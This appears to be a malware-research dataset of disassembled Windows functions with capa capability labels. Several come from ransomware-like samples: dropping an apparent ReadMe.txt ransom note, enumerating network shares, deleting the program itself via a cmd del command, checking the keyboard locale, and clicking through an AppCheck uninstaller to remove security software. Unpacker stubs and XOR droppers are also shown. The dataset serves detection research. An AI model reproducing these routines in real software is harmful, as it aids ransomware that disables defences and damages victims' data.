joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403270
Capabilities:
Check for software breakpoints
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp - 4]
cmp esi, 0xdc9a
jge 0x4032c1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4032b6
cmp esi, 0x1538
je 0x4032bf
inc esi
cmp esi, 0xdc9a
jl 0x403290
pop edi
pop ebx
call fcn.00404700
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4032f1
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextCharset]
cmp eax, 0xcc
jne 0x4032f1
call fcn.00404630
push 0
push 0xffffffffffffffff
call esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.SupportSrvCompany
push eax
mov dword [ebp - 0x10], 0x4044c0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x403320
push eax
push 0xffffffffffffffff
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0xffffffffffffffff
call esi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x403630
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x640
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, eax
push esi
lea eax, [ebp - 0x20c]
push eax
call ebx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
cmp edi, 0xffffffff
je 0x403700
lea eax, [ebp - 0x640]
mov dword [ebp - 0x640], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x403700
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop word [eax + eax]
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call esi
test eax, eax
je 0x40371a
lea eax, [ebp - 0x640]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4036b0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x403f70
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [ebp - 0x10], xmm0
call fcn.00406140
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov eax, 0xb
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push str.C:Program_FilesCheckMALAppCheckUninstall.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41080c
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push str.Next__
push 0x410828
push 0
push eax
call edi
push 0x1c0001
push 0xd
mov esi, eax
push 0x100
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x1c0001
push 0xd
push 0x101
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.AppCheck_Uninstall
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push str.Uninstall
push str.Button
push 0
push eax
call edi
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, eax
push 0x1c0001
push 0xd
push 0x100
push esi
call edi
push 0x1c0001
push 0xd
push 0x101
push esi
call edi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x404090
Capabilities:
Create thread
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumW
test eax, eax
jne 0x4041d9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push edi
push 0x7d00
push 0x40
mov dword [ebp - 8], 0x3e8
mov dword [ebp - 0x10], 0x7d00
call ebx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], edi
push eax
push dword [ebp - 4]
call sub.MPR.dll_WNetEnumResourceW
test eax, eax
jne 0x4041d7
push esi
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
push 0x400
push 0x40
mov dword [ebp - 4], 0
call ebx
xor ebx, ebx
mov esi, eax
mov dword [ebp - 0xc], esi
cmp dword [ebp - 8], ebx
jbe 0x4041bf
add edi, 0x14
mov ecx, dword [edi]
test ecx, ecx
je 0x4041b2
mov eax, dword [edi - 0xc]
cmp eax, 3
je 0x404137
cmp eax, 9
jne 0x40419a
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x104
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x104
mov esi, eax
push 0
push esi
call fcn.00406140
push 0x104
push dword [ebp - 0xc]
push esi
call fcn.00405640
add esp, 0x18
push 0
push 0
push esi
push 0x403ec0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0xc]
push 0x410858
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp + 8]
cmp ecx, 2
jae 0x4041b2
lea eax, [edi - 0x14]
push eax
lea eax, [ecx + 1]
push eax
call fcn.00404090
add esp, 8
inc ebx
add edi, 0x20
cmp ebx, dword [ebp - 8]
jb 0x404120
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
test esi, esi
je 0x4041cc
push esi
call edi
mov eax, dword [ebp - 0x14]
pop esi
test eax, eax
je 0x4041d7
push eax
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404630
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4046e1
push 0x104
lea eax, [ebp - 0x108]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4046e1
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str._c_del____s_____NUL
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4046e1
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x4046e1
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x404700
Capabilities:
Get keyboard layout

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
movzx eax, ax
cmp eax, 0x437
ja 0x40472e
je case.0x404727.1049
add eax, 0xfffffbe7
cmp eax, 0x12
ja case.0x404727.1050
movzx eax, byte [eax + 0x404768]
jmp dword [eax*4 + 0x404760]
cmp eax, 0x82c
ja 0x404750
je case.0x404727.1049
cmp eax, 0x43f
jb case.0x404727.1050
cmp eax, 0x440
jbe case.0x404727.1049
cmp eax, 0x442
je case.0x404727.1049
mov eax, esi
pop esi
ret
cmp eax, 0x843
jne case.0x404727.1050
mov esi, 1
mov eax, esi
pop esi
ret

Function at 0x4047a0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push esi
lea eax, [ebp - 0x414]
push str._sCIopReadMe.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x414]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40480c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
push ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.RC_DATA
mov ebx, eax
push 0xb207
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
push 0x40
mov dword [ebp - 0x418], esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov ebx, eax
push edi
push ebx
call fcn.00405640
mov edi, dword [ebp - 0x418]
add esp, 0xc
xor esi, esi
test edi, edi
je 0x404895
nop
mov eax, 0x3e0f83e1
mul esi
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, ecx
sub eax, ecx
mov al, byte [eax + str.OGi2903u289feswuihg872rj093gf87huyfgt8yifuhgWEJF92IU3G98HuihgfhUW9ITJ78U329JTJkljhgkwhE89T432J98T]
xor byte [esi + ebx], al
inc esi
cmp esi, edi
jb 0x404870
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x414]
mov dword [ebp - 0x41c], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4048de
push 0
lea eax, [ebp - 0x41c]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x404930
Capabilities:
Create process on windows
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.RC_HTML1
mov ebx, eax
push 0xf447
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
push 0x40
mov dword [ebp - 0x210], esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov ebx, eax
push edi
push ebx
call fcn.00405640
mov edi, dword [ebp - 0x210]
add esp, 0xc
xor esi, esi
test edi, edi
je 0x4049cb
mov eax, 0x3e0f83e1
mul esi
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 5
add ecx, edx
add ecx, ecx
sub eax, ecx
mov al, byte [eax + str.pZmIWEQ8432JjFWELJR321IKUI9jkfhWLJKER2798UjkfhgWJKOIEHnqApOSDKJRHUWQOJHIugrfujOWIOTHYOIJ432456]
xor byte [esi + ebx], al
inc esi
cmp esi, edi
jb 0x4049a6
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push str._supwindowsetsecurity.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x214], 0
lea eax, [ebp - 0x108]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404a42
push 0
lea eax, [ebp - 0x214]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x40d1f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40d1ff
pop dword [ebp - 8]
mov eax, 0x54c6d24f
add eax, 0xab79ffb0
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x77395178
sub dword [ebp - 0x18], 0x28e70c2d
mov dword [ebp - 0x14], 0xce5fc29e
add dword [ebp - 0x14], 0x63d389a7
mov dword [ebp - 0x10], 0xbb0b5622
add dword [ebp - 0x10], 0x9140ee0c
mov dword [ebp - 0xc], 0x32226b32
sub dword [ebp - 0xc], 0x32226b32
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xe48ad92a
add dword [ebp - 0x18], 0x8fe7902c
mov dword [ebp - 0x14], 0xc3a56c22
sub dword [ebp - 0x14], 0x82390aad
mov dword [ebp - 0x10], 0x14eb262b
add dword [ebp - 0x10], 0x4e844641
mov dword [ebp - 0xc], 0x816c93df
sub dword [ebp - 0xc], 0x816c93df
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xdbac70be
sub eax, 0xdb6b4082
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3bc25
push 0
call eax
mov ecx, 0x291d1427
sub ecx, 0x291cc79d
mov esi, eax
mov edx, 0x41b000
add edx, dword [ebp - 8]
mov edi, 0xe1483011
mov ebx, dword [edx]
add dword [ebp - 4], 0x23a1167
xor ebx, edi
sub dword [ebp - 4], 0x11a8cae5
mov dword [esi], ebx
xor dword [ebp - 4], ebx
add esi, 4
add edx, 0x7dab0378
add edx, 0x8254fc8c
loop 0x40d310
add eax, 0xd63d5446
sub eax, 0xd63c2f4b
mov ebx, eax
add eax, 0x982dc378
sub eax, 0x982dc373
mov ecx, 0x172dce1c
sub ecx, 0x16edce1c
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x42a4f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40d015
lea edi, [esi - 0xc015]
push edi
or ebp, 0xffffffff
jmp 0x42a512
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42a519
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42a508
mov eax, 1
add ebx, ebx
jne 0x42a52b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42a520
jne 0x42a53c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a520
xor ecx, ecx
sub eax, 3
jb 0x42a550
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42a5c2
mov ebp, eax
add ebx, ebx
jne 0x42a55b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42a568
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42a58c
inc ecx
add ebx, ebx
jne 0x42a578
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42a56d
jne 0x42a589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a56d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42a5ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42a59d
jmp 0x42a50e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42a5ac
add edi, ecx
jmp 0x42a50e
pop esi
mov edi, esi
mov ecx, 0x21
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42a5ca
cmp byte [edi], 1
jne 0x42a5ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42a5cf
lea edi, [esi + 0x28000]
mov eax, dword [edi]
or eax, eax
je 0x42a63e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2a088]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2a140]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42a5fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2a148]
or eax, eax
je 0x42a638
mov dword [ebx], eax
add ebx, 4
jmp 0x42a619
call dword [esi + 0x2a144]
mov ebp, dword [esi + 0x2a14c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42a672
sub esp, 0xffffff80
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
mov dword [0x402452], eax
mov edx, eax
xor edi, edi
push 2
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor esi, esi
push dword [0x403583]
call dword [sym.imp.winmm.dll_waveOutClose]
add eax, 6
test eax, 0xb
jne 0x401036
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
ret

Function at 0x402000
Capabilities:
Access peb ldr_data

Disassembly:
push 0
push 2
push 0x403068
push 0x403053
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
je 0x40201c
ret
mov edi, edi
mov esi, 0x4020c7
mov edi, esi
push 1
push 0x403086
push 1
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateSemaphoreA]
mov edx, eax
pop ebx
mov ecx, 0x3ab
mov al, byte [esi]
sub al, bl
stosb byte es:[edi], al
inc esi
loop 0x402040
push dword fs:[0x30]
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp word [eax], 0x5a4d
je 0x402066
xor eax, eax
mov dword [0x403099], eax
add esp, 4
ret
Function at 0x410897
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409eea
and dword [ebp - 4], 0
cmp dword [0x418be4], 0
mov ebx, eax
jne 0x410948
push 0x414498
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4109f9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41448c
push edi
call esi
test eax, eax
je 0x4109f9
push eax
call fcn.00409e78
mov dword [esp], 0x41447c
push edi
mov dword [0x418be4], eax
call esi
push eax
call fcn.00409e78
mov dword [esp], 0x414468
push edi
mov dword [0x418be8], eax
call esi
push eax
call fcn.00409e78
mov dword [esp], 0x41444c
push edi
mov dword [0x418bec], eax
call esi
push eax
call fcn.00409e78
pop ecx
mov dword [0x418bf4], eax
test eax, eax
je 0x410948
push 0x414434
push edi
call esi
push eax
call fcn.00409e78
pop ecx
mov dword [0x418bf0], eax
mov eax, dword [0x418bf0]
cmp eax, ebx
je 0x4109a0
cmp dword [0x418bf4], ebx
je 0x4109a0
push eax
call fcn.00409ef3
push dword [0x418bf4]
mov esi, eax
call fcn.00409ef3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4109a0
test edi, edi
je 0x4109a0
call esi
test eax, eax
je 0x410997
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410997
test byte [ebp - 0xc], 1
jne 0x4109a0
or dword [ebp + 0x10], 0x200000
jmp 0x4109d9
mov eax, dword [0x418be8]
cmp eax, ebx
je 0x4109d9
push eax
call fcn.00409ef3
pop ecx
test eax, eax
je 0x4109d9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4109d9
mov eax, dword [0x418bec]
cmp eax, ebx
je 0x4109d9
push eax
call fcn.00409ef3
pop ecx
test eax, eax
je 0x4109d9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418be4]
call fcn.00409ef3
pop ecx
test eax, eax
je 0x4109f9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4109fb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret